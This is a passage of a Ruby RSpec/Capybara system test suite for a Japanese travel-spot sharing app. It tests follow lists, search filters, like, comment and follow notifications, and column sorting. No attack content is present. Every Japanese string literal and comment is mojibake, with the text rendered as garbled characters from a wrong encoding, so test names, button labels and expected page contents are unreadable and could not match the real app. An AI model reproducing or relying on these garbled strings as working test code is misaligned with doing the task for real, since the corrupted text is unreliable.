'้ท็งปๅ…ˆใŒใ€ใƒžใ‚คใƒšใƒผใ‚ธ็”ป้ขใซใชใฃใฆใ„ใ‚‹', js: true do expect(current_path).to eq '/spots/' + other_spot2.id.to_s end end end describe 'ใƒ•ใ‚ฉใƒญใƒผๆฉŸ่ƒฝใฎใƒ†ใ‚นใƒˆ' do context 'ใƒ•ใ‚ฉใƒญใƒผใƒปใƒ•ใ‚ฉใƒญใƒฏใƒผไธ€่ฆงใฎใƒšใƒผใ‚ธใฎใƒ†ใ‚นใƒˆ' do let!(:other_user2) { create(:user) } before do user.follow(other_user) user.follow(other_user2) other_user.follow(user) end it 'ใƒ•ใ‚ฉใƒญใƒผไธ€่ฆงใ€ใ€Œ(่‡ชๅˆ†ใฎใƒ‹ใƒƒใ‚ฏใƒใƒผใƒ )ใ•ใ‚“ใฎใƒ•ใ‚ฉใƒญใƒผไธ€่ฆงใ€ใจ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹ใ‹' do visit following_user_path(user) expect(page).to have_content "#{user.nickname}ใ•ใ‚“ใฎใƒ•ใ‚ฉใƒญใƒผไธ€่ฆง" end it 'ใƒ•ใ‚ฉใƒญใƒผไธ€่ฆงใ€่‡ชๅˆ†ใŒใƒ•ใ‚ฉใƒญใƒผใ—ใฆใ„ใ‚‹ใƒฆใƒผใ‚ถใƒผใฎๆƒ…ๅ ฑใŒ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹ใ‹' do visit following_user_path(user) expect(page).to have_selector("img[src$='profile_image.jpeg']") expect(page).to have_content other_user.nickname expect(page).to have_content other_user.following.count expect(page).to have_content other_user.followers.count expect(page).to have_content other_user.spots.last.updated_at.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") end it 'ใƒ•ใ‚ฉใƒญใƒฏใƒผไธ€่ฆงใ€ใ€Œ(่‡ชๅˆ†ใฎใƒ‹ใƒƒใ‚ฏใƒใƒผใƒ )ใ•ใ‚“ใฎใƒ•ใ‚ฉใƒญใƒฏใƒผไธ€่ฆงใ€ใจ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹ใ‹' do visit followers_user_path(user) expect(page).to have_content "#{user.nickname}ใ•ใ‚“ใฎใƒ•ใ‚ฉใƒญใƒฏใƒผไธ€่ฆง" end it 'ใƒ•ใ‚ฉใƒญใƒฏใƒผไธ€่ฆงใ€่‡ชๅˆ†ใ‚’ใƒ•ใ‚ฉใƒญใƒผใ—ใฆใ„ใ‚‹ใƒฆใƒผใ‚ถใƒผใฎๆƒ…ๅ ฑใŒ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹ใ‹' do visit followers_user_path(user) expect(page).to have_selector("img[src$='profile_image.jpeg']") expect(page).to have_content other_user.nickname expect(page).to have_content other_user.following.count expect(page).to have_content other_user.followers.count expect(page).to have_content other_user.spots.last.updated_at.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") end it 'ไธ€ๅบฆใ‚‚ๆŠ•็จฟใ—ใฆใ„ใชใ„ใƒฆใƒผใ‚ถใƒผใฎๅ ดๅˆใ€ใ€ŒๆŠ•็จฟใชใ—ใ€ใŒ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹ใ‹' do visit following_user_path(user) expect(page).to have_content 'ๆŠ•็จฟใชใ—' end end context 'ใƒ•ใ‚ฉใƒญใƒผไธ€่ฆงใฎใƒšใƒผใ‚ธใฎใƒ†ใ‚นใƒˆ(่ฟฝๅŠ )' do let!(:other_user2) { create(:user) } before do user.follow(other_user2) visit following_user_path(user) end it 'ไธ€ๅบฆใ‚‚ๆŠ•็จฟใ—ใฆใ„ใชใ„ใƒฆใƒผใ‚ถใƒผใฎๅ ดๅˆใ€ใ€ŒๆŠ•็จฟใชใ—ใ€ใŒ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹ใ‹' do expect(page).to have_content 'ๆŠ•็จฟใชใ—' end end context 'ใƒ•ใ‚ฉใƒญใƒผใƒปใƒ•ใ‚ฉใƒญใƒผ่งฃ้™คใฎใƒ†ใ‚นใƒˆ' do before do visit user_path(other_user) end it 'ใƒ•ใ‚ฉใƒญใƒผใ™ใ‚‹๏ผšใƒ•ใ‚ฉใƒญใƒผๆ•ฐใŒ1ใจใชใ‚Šใ€ใƒœใ‚ฟใƒณใŒใ€Œใƒ•ใ‚ฉใƒญใƒผ่งฃ้™คใ€ใซๅค‰ๅŒ–ใ™ใ‚‹', js: true do click_button 'ใƒ•ใ‚ฉใƒญใƒผใ™ใ‚‹' sleep 1 expect(other_user.followers.count).to eq 1 expect(page).to have_button 'ใƒ•ใ‚ฉใƒญใƒผ่งฃ้™ค' end it 'ใƒ•ใ‚ฉใƒญใƒผ่งฃ้™คใ™ใ‚‹๏ผšใƒ•ใ‚ฉใƒญใƒผๆ•ฐใŒ0ใจใชใ‚Šใ€ใƒœใ‚ฟใƒณใŒใ€Œใƒ•ใ‚ฉใƒญใƒผใ™ใ‚‹ใ€ใซๅค‰ๅŒ–ใ™ใ‚‹', js: true do click_button 'ใƒ•ใ‚ฉใƒญใƒผใ™ใ‚‹' sleep 1 click_button 'ใƒ•ใ‚ฉใƒญใƒผ่งฃ้™ค' sleep 1 expect(other_user.followers.count).to eq 0 expect(page).to have_button 'ใƒ•ใ‚ฉใƒญใƒผใ™ใ‚‹' end end end describe 'ๆคœ็ดขๆฉŸ่ƒฝใฎใƒ†ใ‚นใƒˆ' do let!(:search_user) { create(:search_user) } let!(:search_user2) { create(:search_user2) } let!(:search_spot) { create(:search_spot, user: user) } let!(:search_spot2) { create(:search_spot2, user: user) } context 'ๆคœ็ดขๆฉŸ่ƒฝใฎใƒ†ใ‚นใƒˆ(ใ‚นใƒใƒƒใƒˆไธ€่ฆง็”ป้ข)' do # ใƒ•ใ‚ฉใƒผใƒ ใฎ่กจ็คบใฏใƒ†ใ‚นใƒˆๆธˆ before do visit spots_path end it '้ƒฝ้“ๅบœ็œŒใงใฎๆคœ็ดข๏ผšๆกไปถใซๅˆ่‡ดใ™ใ‚‹ใ‚‚ใฎใ ใ‘ใŒ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do select 'ๅƒ่‘‰็œŒ', from: 'q_prefecture_eq' click_button 'ๆคœ็ดข' expect(page).to have_content 'ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰' expect(page).not_to have_content '็จฒ่ทๅฑฑๅคๅขณ' end it 'ๅธ‚ๅŒบ็”บๆ‘ใงใฎๆคœ็ดข๏ผšๆกไปถใซๅˆ่‡ดใ™ใ‚‹ใ‚‚ใฎใ ใ‘ใŒ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do fill_in 'q[city_cont]', with: '่กŒ็”ฐ' click_button 'ๆคœ็ดข' expect(page).not_to have_content 'ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰' expect(page).to have_content '็จฒ่ทๅฑฑๅคๅขณ' end it 'ใ‚ฟใ‚คใƒˆใƒซใงใฎๆคœ็ดข๏ผšๆกไปถใซๅˆ่‡ดใ™ใ‚‹ใ‚‚ใฎใ ใ‘ใŒ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do fill_in 'q[title_cont]', with: 'ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผ' click_button 'ๆคœ็ดข' expect(page).to have_content 'ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰' expect(page).not_to have_content '็จฒ่ทๅฑฑๅคๅขณ' end end context 'ๆคœ็ดขๆฉŸ่ƒฝใฎใƒ†ใ‚นใƒˆ(ใƒฆใƒผใ‚ถใƒผไธ€่ฆง็”ป้ข)' do # ใƒ•ใ‚ฉใƒผใƒ ใฎ่กจ็คบใฏใƒ†ใ‚นใƒˆๆธˆ before do visit users_path end it '้ƒฝ้“ๅบœ็œŒใงใฎๆคœ็ดข๏ผšๆกไปถใซๅˆ่‡ดใ™ใ‚‹ใ‚‚ใฎใ ใ‘ใŒ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do select 'ๅƒ่‘‰็œŒ', from: 'q_prefecture_eq' click_button 'ๆคœ็ดข' expect(page).to have_content 'ใƒใƒŠใ‚ณ' expect(page).not_to have_content 'ใ‚ฟใƒญใƒผ' end it 'ๅธ‚ๅŒบ็”บๆ‘ใงใฎๆคœ็ดข๏ผšๆกไปถใซๅˆ่‡ดใ™ใ‚‹ใ‚‚ใฎใ ใ‘ใŒ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do fill_in 'q[city_cont]', with: 'ๆ‰€ๆฒข' click_button 'ๆคœ็ดข' expect(page).not_to have_content 'ใƒใƒŠใ‚ณ' expect(page).to have_content 'ใ‚ฟใƒญใƒผ' end it 'ๆ€งๅˆฅใงใฎๆคœ็ดข๏ผšๆกไปถใซๅˆ่‡ดใ™ใ‚‹ใ‚‚ใฎใ ใ‘ใŒ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do choose('q_sex_eq_1') # ๅฅณๆ€ง click_button 'ๆคœ็ดข' expect(page).to have_content 'ใƒใƒŠใ‚ณ' expect(page).not_to have_content 'ใ‚ฟใƒญใƒผ' end it 'ๅนด้ฝขใงใฎๆคœ็ดข๏ผšๆคœ็ดข็ตๆžœใซๅˆ่‡ดใ™ใ‚‹ใ‚‚ใฎใ ใ‘ใŒ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do fill_in 'q[birthday_to_age_gteq]', with: '30' fill_in 'q[birthday_to_age_lt]', with: '40' click_button 'ๆคœ็ดข' expect(page).to have_content 'ใƒใƒŠใ‚ณ' expect(page).not_to have_content 'ใ‚ฟใƒญใƒผ' end it 'ใƒ‹ใƒƒใ‚ฏใƒใƒผใƒ ใงใฎๆคœ็ดข๏ผšๆคœ็ดข็ตๆžœใซๅˆ่‡ดใ™ใ‚‹ใ‚‚ใฎใ ใ‘ใŒ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do fill_in 'q[nickname_cont]', with: 'ใ‚ฟใƒญ' click_button 'ๆคœ็ดข' expect(page).not_to have_content 'ใƒใƒŠใ‚ณ' expect(page).to have_content 'ใ‚ฟใƒญใƒผ' end end context 'ๆคœ็ดขๆฉŸ่ƒฝใฎใƒ†ใ‚นใƒˆ(ใ‚ญใƒผใƒฏใƒผใƒ‰ไธ€่ฆง็”ป้ข)' do before do visit edit_spot_path(search_spot) fill_in 'spot[keyword]', with: 'ๅคขใฎๅ›ฝ ใƒŸใƒƒใ‚ญใƒผ' find('input[@name="spot[rate]"]', visible: false).set('4') click_button 'ๆ›ดๆ–ฐใ™ใ‚‹' visit edit_spot_path(search_spot2) fill_in 'spot[keyword]', with: 'ๅ‰ๆ–นๅพŒๅ††ๅขณ ้‰„ๅ‰ฃ' find('input[@name="spot[rate]"]', visible: false).set('4') click_button 'ๆ›ดๆ–ฐใ™ใ‚‹' visit keywords_path end it '้ƒฝ้“ๅบœ็œŒใงใฎๆคœ็ดข๏ผšๆกไปถใซๅˆ่‡ดใ™ใ‚‹ใ‚‚ใฎใ ใ‘ใŒ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do select 'ๅƒ่‘‰็œŒ', from: 'q_spots_prefecture_eq' click_button 'ๆคœ็ดข' expect(page).to have_content 'ๅคขใฎๅ›ฝ' expect(page).to have_content 'ใƒŸใƒƒใ‚ญใƒผ' expect(page).not_to have_content 'ๅ‰ๆ–นๅพŒๅ††ๅขณ' expect(page).not_to have_content '้‰„ๅ‰ฃ' end it 'ๅธ‚ๅŒบ็”บๆ‘ใงใฎๆคœ็ดข๏ผšๆกไปถใซๅˆ่‡ดใ™ใ‚‹ใ‚‚ใฎใ ใ‘ใŒ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do fill_in 'q[spots_city_cont]', with: '่กŒ็”ฐ' click_button 'ๆคœ็ดข' expect(page).not_to have_content 'ๅคขใฎๅ›ฝ' expect(page).not_to have_content 'ใƒŸใƒƒใ‚ญใƒผ' expect(page).to have_content 'ๅ‰ๆ–นๅพŒๅ††ๅขณ' expect(page).to have_content '้‰„ๅ‰ฃ' end it 'ใ‚ญใƒผใƒฏใƒผใƒ‰ใงใฎๆคœ็ดข๏ผšๆกไปถใซๅˆ่‡ดใ™ใ‚‹ใ‚‚ใฎใ ใ‘ใŒ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do fill_in 'q[keyword_cont]', with: 'ๅ††' click_button 'ๆคœ็ดข' expect(page).not_to have_content 'ๅคขใฎๅ›ฝ' expect(page).not_to have_content 'ใƒŸใƒƒใ‚ญใƒผ' expect(page).to have_content 'ๅ‰ๆ–นๅพŒๅ††ๅขณ' expect(page).not_to have_content '้‰„ๅ‰ฃ' end end end describe '้€š็ŸฅๆฉŸ่ƒฝใฎใƒ†ใ‚นใƒˆ' do context 'ใ„ใ„ใญใƒปใ‚ณใƒกใƒณใƒˆ้€š็Ÿฅใฎใƒ†ใ‚นใƒˆ' do before do visit spot_path(other_spot) end it 'ไป–ไบบใŒใ„ใ„ใญใ—ใŸ้€š็ŸฅใŒ่กจ็คบใ•ใ‚Œใ‚‹ใ‹๏ผšไป–ไบบใฎใƒ‹ใƒƒใ‚ฏใƒใƒผใƒ ใจใ€Œใ‚ใชใŸใฎๆŠ•็จฟใ€ใฎใƒชใƒณใ‚ฏๅ…ˆใŒๆญฃใ—ใ„ใ‹', js: true do find("#like-#{ other_spot.id }").click sleep 1 find(".navbar-toggler").click click_link 'ใƒญใ‚ฐใ‚ขใ‚ฆใƒˆ' visit new_user_session_path fill_in 'user[email]', with: other_user.email fill_in 'user[password]', with: other_user.password click_button 'ใƒญใ‚ฐใ‚คใƒณ' find(".navbar-toggler").click click_link '้€š็Ÿฅ' expect(page).to have_content "#{ user.nickname }ใŒใ‚ใชใŸใฎๆŠ•็จฟใซใ„ใ„ใญใ—ใพใ—ใŸ" expect(page).to have_link user.nickname, href: user_path(user) expect(page).to have_link 'ใ‚ใชใŸใฎๆŠ•็จฟ', href: spot_path(other_spot) end it 'ไป–ไบบใŒใ‚ณใƒกใƒณใƒˆใ—ใŸ้€š็ŸฅใŒ่กจ็คบใ•ใ‚Œใ‚‹ใ‹๏ผšไป–ไบบใฎใƒ‹ใƒƒใ‚ฏใƒใƒผใƒ ใจใ€Œใ‚ใชใŸใฎๆŠ•็จฟใ€ใฎใƒชใƒณใ‚ฏๅ…ˆใŒๆญฃใ—ใ„ใ‹', js: true do fill_in 'comment[comment]', with: Faker::Lorem.characters(number: 50) click_button '้€ไฟกใ™ใ‚‹' sleep 1 find(".navbar-toggler").click click_link 'ใƒญใ‚ฐใ‚ขใ‚ฆใƒˆ' visit new_user_session_path fill_in 'user[email]', with: other_user.email fill_in 'user[password]', with: other_user.password click_button 'ใƒญใ‚ฐใ‚คใƒณ' find(".navbar-toggler").click click_link '้€š็Ÿฅ' expect(page).to have_content "#{ user.nickname }ใŒใ‚ใชใŸใฎๆŠ•็จฟใซใ‚ณใƒกใƒณใƒˆใ—ใพใ—ใŸ" expect(page).to have_link user.nickname, href: user_path(user) expect(page).to have_link 'ใ‚ใชใŸใฎๆŠ•็จฟ', href: spot_path(other_spot) end end context 'ใƒ•ใ‚ฉใƒญใƒผใ€้€š็Ÿฅ่กจ็คบใ€้€š็Ÿฅๅ‰Š้™คใฎใƒ†ใ‚นใƒˆ' do before do visit user_path(other_user) end it 'ไป–ไบบใŒใƒ•ใ‚ฉใƒญใƒผใ—ใŸ้€š็ŸฅใŒ่กจ็คบใ•ใ‚Œใ‚‹ใ‹:ใ€Œๆœช็ขบ่ชใฎ้€š็ŸฅใŒใ‚ใ‚Šใพใ™ใ€‚ใ€ใฏ่กจ็คบใ•ใ‚Œใชใ„', js: true do click_button 'ใƒ•ใ‚ฉใƒญใƒผใ™ใ‚‹' sleep 1 find(".navbar-toggler").click click_link 'ใƒญใ‚ฐใ‚ขใ‚ฆใƒˆ' visit new_user_session_path fill_in 'user[email]', with: other_user.email fill_in 'user[password]', with: other_user.password click_button 'ใƒญใ‚ฐใ‚คใƒณ' find(".navbar-toggler").click click_link '้€š็Ÿฅ' expect(page).to have_content "#{ user.nickname }ใŒใ‚ใชใŸใ‚’ใƒ•ใ‚ฉใƒญใƒผใ—ใพใ—ใŸ" expect(page).to have_link user.nickname, href: user_path(user) expect(page).not_to have_content "ๆœช็ขบ่ชใฎ้€š็ŸฅใŒใ‚ใ‚Šใพใ™ใ€‚" end it 'ๆœช่ชญใฎ้€š็ŸฅใŒใ‚ใ‚‹ๅ ดๅˆใ€ใ€Œๆœช็ขบ่ชใฎ้€š็ŸฅใŒใ‚ใ‚Šใพใ™ใ€‚ใ€ใจ่กจ็คบใ•ใ‚Œใ‚‹ใ‹', js: true do click_button 'ใƒ•ใ‚ฉใƒญใƒผใ™ใ‚‹' sleep 1 find(".navbar-toggler").click click_link 'ใƒญใ‚ฐใ‚ขใ‚ฆใƒˆ' visit new_user_session_path fill_in 'user[email]', with: other_user.email fill_in 'user[password]', with: other_user.password click_button 'ใƒญใ‚ฐใ‚คใƒณ' expect(page).to have_content "ๆœช็ขบ่ชใฎ้€š็ŸฅใŒใ‚ใ‚Šใพใ™ใ€‚" end it 'ใ€Œๅ…จใฆๅ‰Š้™คใ™ใ‚‹ใ€ใ‚’ๆŠผใ™ใจ้€š็ŸฅใŒๆถˆๅŽปใ•ใ‚Œใ€ใ€Œ้€š็Ÿฅใฏใ‚ใ‚Šใพใ›ใ‚“ใ€ใจ่กจ็คบใ•ใ‚Œใ‚‹ใ‹', js: true do click_button 'ใƒ•ใ‚ฉใƒญใƒผใ™ใ‚‹' sleep 1 find(".navbar-toggler").click click_link 'ใƒญใ‚ฐใ‚ขใ‚ฆใƒˆ' visit new_user_session_path fill_in 'user[email]', with: other_user.email fill_in 'user[password]', with: other_user.password click_button 'ใƒญใ‚ฐใ‚คใƒณ' find(".navbar-toggler").click click_link '้€š็Ÿฅ' click_link 'ๅ…จใฆๅ‰Š้™คใ™ใ‚‹' expect(page).not_to have_content "#{ user.nickname }ใŒใ‚ใชใŸใ‚’ใƒ•ใ‚ฉใƒญใƒผใ—ใพใ—ใŸ" expect(page).to have_content "้€š็Ÿฅใฏใ‚ใ‚Šใพใ›ใ‚“" end end end end describe '[STEP2] ใƒฆใƒผใ‚ถใƒญใ‚ฐใ‚คใƒณๅพŒใฎใƒ†ใ‚นใƒˆ ใ‚ฝใƒผใƒˆๆฉŸ่ƒฝใฎใƒ†ใ‚นใƒˆ' do let(:search_user) { create(:search_user) } let!(:search_user2) { create(:search_user2) } let!(:search_spot) { create(:search_spot, user: search_user) } let!(:search_spot2) { create(:search_spot2, user: search_user) } let!(:favorite) { create(:favorite, user: search_user, spot: search_spot) } before do visit new_user_session_path fill_in 'user[email]', with: search_user.email fill_in 'user[password]', with: search_user.password click_button 'ใƒญใ‚ฐใ‚คใƒณ' end context 'ใ‚ฝใƒผใƒˆๆฉŸ่ƒฝใฎใƒ†ใ‚นใƒˆ(ใƒฆใƒผใ‚ถใƒผ่ฉณ็ดฐ็”ป้ข)' do before do visit user_path(search_user) end it 'ใ‚ฟใ‚คใƒˆใƒซใฎใ‚ฝใƒผใƒˆ๏ผšๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do click_link 'ใ‚ฟใ‚คใƒˆใƒซ' # ๆ˜‡้ † first_spot_link = find_all('a')[19].native.inner_text expect(first_spot_link).to match('ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰') click_link 'ใ‚ฟใ‚คใƒˆใƒซ' # ้™้ † first_spot_link = find_all('a')[19].native.inner_text expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ') end it 'ๆ‰€ๅœจๅœฐใฎใ‚ฝใƒผใƒˆ๏ผšๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do click_link 'ๆ‰€ๅœจๅœฐ' # ๆ˜‡้ † first_spot_link = find_all('a')[19].native.inner_text expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ') click_link 'ๆ‰€ๅœจๅœฐ' # ้™้ † first_spot_link = find_all('a')[19].native.inner_text expect(first_spot_link).to match('ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰') end it 'ๆŠ•็จฟๆ—ฅใฎใ‚ฝใƒผใƒˆ๏ผšๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do click_link 'ๆŠ•็จฟๆ—ฅ' # ๆ˜‡้ † first_spot_link = find_all('a')[19].native.inner_text expect(first_spot_link).to match('ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰') click_link 'ๆŠ•็จฟๆ—ฅ' # ้™้ † first_spot_link = find_all('a')[19].native.inner_text expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ') end it 'ๆฅ่จชๆ—ฅใฎใ‚ฝใƒผใƒˆ๏ผšๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do click_link 'ๆฅ่จชๆ—ฅ' # ๆ˜‡้ † first_spot_link = find_all('a')[19].native.inner_text expect(first_spot_link).to match('ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰') click_link 'ๆฅ่จชๆ—ฅ' # ้™้ † first_spot_link = find_all('a')[19].native.inner_text expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ') end it '่ฉ•ไพกใฎใ‚ฝใƒผใƒˆ๏ผšๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do click_link '่ฉ•ไพก' # ๆ˜‡้ † first_spot_link = find_all('a')[19].native.inner_text expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ') click_link '่ฉ•ไพก' # ้™้ † first_spot_link = find_all('a')[19].native.inner_text expect(first_spot_link).to match('ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰') end it 'ใ„ใ„ใญใฎใ‚ฝใƒผใƒˆ๏ผšๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do click_link 'ใ„ใ„ใญ' # ๆ˜‡้ † first_spot_link = find_all('a')[19].native.inner_text expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ') click_link 'ใ„ใ„ใญ' # ้™้ † first_spot_link = find_all('a')[19].native.inner_text expect(first_spot_link).to match('ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰') end end context 'ใ‚ฝใƒผใƒˆๆฉŸ่ƒฝใฎใƒ†ใ‚นใƒˆ(ใ‚นใƒใƒƒใƒˆไธ€่ฆง็”ป้ข)' do before do visit spots_path end it 'ใ‚ฟใ‚คใƒˆใƒซใฎใ‚ฝใƒผใƒˆ๏ผšๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do click_link 'ใ‚ฟใ‚คใƒˆใƒซ' # ๆ˜‡้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰') click_link 'ใ‚ฟใ‚คใƒˆใƒซ' # ้™้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ') end it 'ๆ‰€ๅœจๅœฐใฎใ‚ฝใƒผใƒˆ๏ผšๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do click_link 'ๆ‰€ๅœจๅœฐ' # ๆ˜‡้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ') click_link 'ๆ‰€ๅœจๅœฐ' # ้™้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰') end it 'ๆŠ•็จฟๆ—ฅใฎใ‚ฝใƒผใƒˆ๏ผšๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do click_link 'ๆŠ•็จฟๆ—ฅ' # ๆ˜‡้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰') click_link 'ๆŠ•็จฟๆ—ฅ' # ้™้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ') end it 'ๆฅ่จชๆ—ฅใฎใ‚ฝใƒผใƒˆ๏ผšๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do click_link 'ๆฅ่จชๆ—ฅ' # ๆ˜‡้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰') click_link 'ๆฅ่จชๆ—ฅ' # ้™้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ') end it '่ฉ•ไพกใฎใ‚ฝใƒผใƒˆ๏ผšๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do click_link '่ฉ•ไพก' # ๆ˜‡้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ') click_link '่ฉ•ไพก' # ้™้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰') end it 'ใ„ใ„ใญใฎใ‚ฝใƒผใƒˆ๏ผšๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do click_link 'ใ„ใ„ใญ' # ๆ˜‡้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ') click_link 'ใ„ใ„ใญ' # ้™้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰') end end context 'ใ‚ฝใƒผใƒˆๆฉŸ่ƒฝใฎใƒ†ใ‚นใƒˆ(ใƒฆใƒผใ‚ถใƒผไธ€่ฆง็”ป้ข)' do before do visit users_path end it 'ๅนด้ฝขใฎใ‚ฝใƒผใƒˆ๏ผšๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do click_link 'ๅนด้ฝข' # ๆ˜‡้ † first_spot_link = find_all('a')[11].native.inner_text expect(first_spot_link).to match('ใƒใƒŠใ‚ณ') click_link 'ๅนด้ฝข' # ้™้ † first_spot_link = find_all('a')[11].native.inner_text expect(first_spot_link).to match('ใ‚ฟใƒญใƒผ') end end context 'ใ‚ฝใƒผใƒˆๆฉŸ่ƒฝใฎใƒ†ใ‚นใƒˆ(ใ‚ญใƒผใƒฏใƒผใƒ‰ไธ€่ฆงใƒป่ฉณ็ดฐ็”ป้ข)' do before do visit new_spot_path fill_in 'spot[title]', with: 'ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰ใ‹ใ‚‰่ฆ‹ใŸๆฑไบฌใ‚ฟใƒฏใƒผ' fill_in 'spot[keyword]', with: 'ๆฑไบฌใ‚ฟใƒฏใƒผ' select 'ๅƒ่‘‰็œŒ', from: 'spot_prefecture' fill_in 'spot[city]', with: 'ๆตฆๅฎ‰ๅธ‚' select '2021', from: 'spot_visited_day_1i' select '2', from: 'spot_visited_day_2i' select '1', from: 'spot_visited_day_3i' find('input[@name="spot[rate]"]', visible: false).set('4') attach_file "spot[spot_image1]", "app/assets/images/image1.jpg" fill_in 'spot[content]', with: Faker::Lorem.characters(number: 50) click_button 'ๆŠ•็จฟใ™ใ‚‹' visit new_spot_path fill_in 'spot[title]', with: 'ๅคœใฎๆฑไบฌใ‚ฟใƒฏใƒผ' fill_in 'spot[keyword]', with: 'ๆฑไบฌใ‚ฟใƒฏใƒผ' select 'ๆฑไบฌ้ƒฝ', from: 'spot_prefecture' fill_in 'spot[city]', with: 'ๆธฏๅŒบ' select '2021', from: 'spot_visited_day_1i' select '1', from: 'spot_visited_day_2i' select '1', from: 'spot_visited_day_3i' find('input[@name="spot[rate]"]', visible: false).set('5') attach_file "spot[spot_image1]", "app/assets/images/image1.jpg" fill_in 'spot[content]', with: Faker::Lorem.characters(number: 50) click_button 'ๆŠ•็จฟใ™ใ‚‹' visit new_spot_path fill_in 'spot[title]', with: 'ใ‚ในใฎใƒใƒซใ‚ซใ‚น' fill_in 'spot[keyword]', with: 'ใ‚ในใฎใƒใƒซใ‚ซใ‚น' select 'ๅคง้˜ชๅบœ', from: 'spot_prefecture' fill_in 'spot[city]', with: 'ๅคง้˜ชๅธ‚้˜ฟๅ€้‡ŽๅŒบ' select '2020', from: 'spot_visited_day_1i' select '1', from: 'spot_visited_day_2i' select '1', from: 'spot_visited_day_3i' find('input[@name="spot[rate]"]', visible: false).set('4') attach_file "spot[spot_image1]", "app/assets/images/image1.jpg" fill_in 'spot[content]', with: Faker::Lorem.characters(number: 50) click_button 'ๆŠ•็จฟใ™ใ‚‹' end let!(:favorite2) { create(:favorite, user: search_user, spot: Spot.find(3)) } it 'ใ‚ญใƒผใƒฏใƒผใƒ‰ไธ€่ฆง็”ป้ข๏ผšๅ„้ …็›ฎใŒ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do visit keywords_path expect(page).to have_selector("img[src$='spot_image1.jpeg']") expect(page).to have_link 'ๆฑไบฌใ‚ฟใƒฏใƒผ', href: keyword_path(Keyword.first.id) expect(page).to have_link 